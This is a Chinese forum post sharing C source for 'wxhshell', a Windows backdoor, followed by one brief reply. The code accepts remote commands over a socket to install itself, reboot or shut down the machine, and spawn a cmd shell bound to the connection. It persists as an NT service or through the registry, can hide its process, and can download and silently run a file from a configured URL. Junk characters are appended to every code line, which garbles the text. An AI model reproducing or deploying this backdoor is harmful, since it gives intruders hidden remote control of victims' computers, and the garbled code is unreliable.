  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =j~Xrytn  
  } %YwIR.o  
  else { c}mWAZ=wF  
1Wb_>`;  
    switch(cmd[0]) { h[oI/X  
  VH6J @m  
  // 帮助 jbTsrj"g  
  case '?': { o,_R;'\E[a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f vr|<3ojo  
    break; sJ7ZE-v]h  
  } CDT3&N1'R  
  // 安装 en-HX3'  
  case 'i': { gJ?Vk<hp  
    if(Install()) M"E7= J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oNp(GQ@0  
    else {xCqz0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G'(8/os{  
    break; HBcL1wfS  
    } ~ ":}Rs  
  // 卸载 %Iv*u sXP  
  case 'r': { ,o s M|!,  
    if(Uninstall()) DgKe!w$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wD5fm5r=  
    else ,Kwtp)EX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 15CKcM6  
    break;  @"L*!  
    } o|nN0z)b4  
  // 显示 wxhshell 所在路径 9_l WB6  
  case 'p': { QN^AihsPi  
    char svExeFile[MAX_PATH]; x?RYt4S  
    strcpy(svExeFile,"\n\r"); O9R[F  
      strcat(svExeFile,ExeFile); 9;tY'32/  
        send(wsh,svExeFile,strlen(svExeFile),0); {v U;(eN  
    break; 0 ![  
    } 0%"sOth  
  // 重启 Q3 yW#eD  
  case 'b': { #L 9F\ <K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,g:\8*Y>'  
    if(Boot(REBOOT)) 8"C[sRhz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #pr{tL  
    else { !+T29QYK8  
    closesocket(wsh); ~'#,*kA:6  
    ExitThread(0); N_R(i3c6U!  
    } -p[!C I  
    break; aW(H n[}^  
    } G }U'?p  
  // 关机 Rv)>x w  
  case 'd': { +|zcjI'=O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pN#RTb8o  
    if(Boot(SHUTDOWN)) c&I"&oZ@&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rA[wC%%  
    else { LW*v/`@  
    closesocket(wsh); Mh8s@g  
    ExitThread(0); k.!m-5E  
    } o((!3H{ D  
    break; Jo4iWJpK  
    } \7] SG  
  // 获取shell H1-eMDe  
  case 's': { UQ}#=[)2e  
    CmdShell(wsh); sU0W)c;  
    closesocket(wsh); ~;yP{F8?  
    ExitThread(0); @3Gr2/a  
    break; s_%KWkS  
  } E@_]L<Z  
  // 退出 +AYB0`X)  
  case 'x': { bz|-x"qk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dT'd C  
    CloseIt(wsh); l#fwNM/F  
    break; Qz`v0"'w  
    } 6D/K=-   
  // 离开 Q|(G -  
  case 'q': { Cnv?0to2l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d'k99(vy  
    closesocket(wsh); v`Yj)  
    WSACleanup(); 5DmW5w'p  
    exit(1); |H ,-V;  
    break; ph>0?Z =bn  
        } !z2KQ 4C  
  } +jb<=ERV[  
  } &9F(C R  
_m*FHi  
  // 提示信息 A8T8+M:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U5yBU9\G  
} EGxCNB  
  } b E6bx6=u  
'J_`CS  
  return; odh cU5  
} wf2v9.;X:<  
&NH[b1NMr  
// shell模块句柄 u#nM_UJe  
int CmdShell(SOCKET sock) Dy|)u1?  
{ 'f-8P  
STARTUPINFO si; /Jf}~}JP  
ZeroMemory(&si,sizeof(si)); :N64FR#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ff5 e]^,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CkR 95*  
PROCESS_INFORMATION ProcessInfo; SaFNPnk=  
char cmdline[]="cmd";  i)= \-C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JVR,Py:%G  
  return 0; Hv-f :P O  
} /@Ec[4^=!.  
hw2Sb,bY  
// 自身启动模式 T!N v  
int StartFromService(void) jJyS^*.X  
{ )8%m|v#W  
typedef struct nd~O*-uYg  
{ /wU4^8Hz  
  DWORD ExitStatus; M`p[ Zq  
  DWORD PebBaseAddress;  w\y)  
  DWORD AffinityMask; "Pa  y2  
  DWORD BasePriority; b=XXp`h~a  
  ULONG UniqueProcessId; q aG8:  
  ULONG InheritedFromUniqueProcessId; Y|cj&<o  
}   PROCESS_BASIC_INFORMATION; gN .n _!  
c' Q4Fzj0'  
PROCNTQSIP NtQueryInformationProcess; om2)Cd9~7  
tL]T_]z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n!&F%|o^^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vP'#x  
0DX)%s,KO  
  HANDLE             hProcess; +g&M@8XO&  
  PROCESS_BASIC_INFORMATION pbi; Vp1Ff  
s'/ZtH6>C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cYz|Ux  
  if(NULL == hInst ) return 0; cs?IzIQ  
ET;-'vd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ''H;/&nDX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t5k=ngA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p4vX3?&1W  
<Yn-sH  
  if (!NtQueryInformationProcess) return 0; GDYFhH7H  
}#2I/dn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7V-uQ)*  
  if(!hProcess) return 0; i2E@5 v=|Y  
v(;n|=O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; " TC:O^X  
88Vl1d&b  
  CloseHandle(hProcess); .*&F  
h-6x! 6pm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v+C%t!dx  
if(hProcess==NULL) return 0; 0t%`jY~%  
upiYo(sN.  
HMODULE hMod; UB w*}p  
char procName[255]; ny1Dg$u i2  
unsigned long cbNeeded; ]h'*L`  
@3`Pq2<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %xdyG Al:  
WHcw5_3#  
  CloseHandle(hProcess); v;(k7  
Bhk@0\a  
if(strstr(procName,"services")) return 1; // 以服务启动 <OTx79m  
O? 0`QMY  
  return 0; // 注册表启动 Dlg9PyQ  
} + S@[1 N  
BBa!l e9P  
// 主模块 {R?VB!dR  
int StartWxhshell(LPSTR lpCmdLine) ")9jt^  
{ H3+P;2 {  
  SOCKET wsl; 465?,EpS  
BOOL val=TRUE; vF9fXY=  
  int port=0; V^< Zs//7  
  struct sockaddr_in door; UZ!It>  
03gYl0B  
  if(wscfg.ws_autoins) Install(); * BKIA  
] QJ7q}  
port=atoi(lpCmdLine); 84/#,X!=s  
l:*.0Tj  
if(port<=0) port=wscfg.ws_port; -'T^gEd) c  
h059DiH  
  WSADATA data; >dnDN3x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uOPLJ?%  
8aTo TA7JA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?8YbTn1f)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ijmGk:L(  
  door.sin_family = AF_INET; _|7bpt9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mXI'=Vo!S  
  door.sin_port = htons(port); \hP.Q;"MtO  
2FQTu*p&B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >aT~ G!y  
closesocket(wsl); JZ/T:Hsh4  
return 1; a}[rk*QmZ  
} M/kBAxNIC|  
iUlSRfrC$#  
  if(listen(wsl,2) == INVALID_SOCKET) { ]{18-=  
closesocket(wsl); x!fgZr{  
return 1; Esf\Bo"  
} EP{/]T  
  Wxhshell(wsl); (#nB90E{*  
  WSACleanup(); `!<#'PR  
f=- R<l  
return 0; VYkUUp  
@_ Tq>tOr&  
} =l>=]O~h  
ohi0_mBz  
// 以NT服务方式启动 #!t6'*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {/i&o  
{ Y?:" nhN  
DWORD   status = 0; <MJ-w1A  
  DWORD   specificError = 0xfffffff; mpD[k9`x#  
r |2{( +  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c"P:p%\m&u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @4$la'XSx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LeYI<a@n@$  
  serviceStatus.dwWin32ExitCode     = 0; :(;ho.zz  
  serviceStatus.dwServiceSpecificExitCode = 0; $Y8iT<nP  
  serviceStatus.dwCheckPoint       = 0; _gQ_ixu  
  serviceStatus.dwWaitHint       = 0; ) .W0}  
sLf~o" yb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l_pf9 !z  
  if (hServiceStatusHandle==0) return; Z9j`<VgN  
G4uA&"OE  
status = GetLastError(); ,; n[_f  
  if (status!=NO_ERROR) 4jC7>mE  
{ >XW-W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D[` ~=y(  
    serviceStatus.dwCheckPoint       = 0; mt4X  
    serviceStatus.dwWaitHint       = 0; czH# ~  
    serviceStatus.dwWin32ExitCode     = status; _z>%h>L|g  
    serviceStatus.dwServiceSpecificExitCode = specificError; )gV @6w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?L6wky{  
    return; u56F;y  
  } 1i;Cw/mr  
p tlag&Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )1f.=QZN^;  
  serviceStatus.dwCheckPoint       = 0; AsR}qqG  
  serviceStatus.dwWaitHint       = 0; Wz;@Rl|F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k=9k4l  
} Fi# 9L  
,fvhP $n  
// 处理NT服务事件,比如:启动、停止 s1p<F,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n>xuef   
{ omI"xx  
switch(fdwControl) R| XD#bG  
{ -`5L;cxwk4  
case SERVICE_CONTROL_STOP: FBa- gm<9  
  serviceStatus.dwWin32ExitCode = 0; L$^)QxH7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >J{e_C2ZS  
  serviceStatus.dwCheckPoint   = 0; zICrp  
  serviceStatus.dwWaitHint     = 0; zb.sh  
  { @/xdWN!,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,mM7g  
  } <DhuY/o  
  return; )lP(is FP  
case SERVICE_CONTROL_PAUSE: %DKC/%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l@`n4U.Gwl  
  break; {dlG3P='`f  
case SERVICE_CONTROL_CONTINUE: 0O(Vyy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2Hk21y\  
  break; $F6GCM3Cx  
case SERVICE_CONTROL_INTERROGATE: G`f|#-}  
  break; czK}F/Sg`  
}; 7A{Z1[7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); seb/rxb  
} (^m~UN2@~m  
eF?jNO3  
// 标准应用程序主函数 o;>qsn8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +ZkJ{r0,(  
{ IiV]lxiE]  
QT4vjz+|  
// 获取操作系统版本 WLH ;{  
OsIsNt=GetOsVer(); &:~9'-O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /*G bl  
.g_^! t  
  // 从命令行安装 'l3 DP  
  if(strpbrk(lpCmdLine,"iI")) Install(); # S0N`V  
pL: r\Y:R  
  // 下载执行文件 <3x:nH @  
if(wscfg.ws_downexe) { 0 > QqsQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9{%/I   
  WinExec(wscfg.ws_filenam,SW_HIDE); [-^xw1:  
} =-avzuy#  
O7p=|F"  
if(!OsIsNt) { oo1h"[  
// 如果时win9x,隐藏进程并且设置为注册表启动 p{&o{+c  
HideProc(); K14v6d  
StartWxhshell(lpCmdLine); +9M";'\c  
} %K0Wm#)  
else jVna;o)  
  if(StartFromService()) 7?8+h  
  // 以服务方式启动 =[0| qGzg  
  StartServiceCtrlDispatcher(DispatchTable); fn8|@)J  
else /xd|mo)D  
  // 普通方式启动 hJ?PV@xy  
  StartWxhshell(lpCmdLine); XE#$|Z  
H-eHX3c7  
return 0; )U{\c2b  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五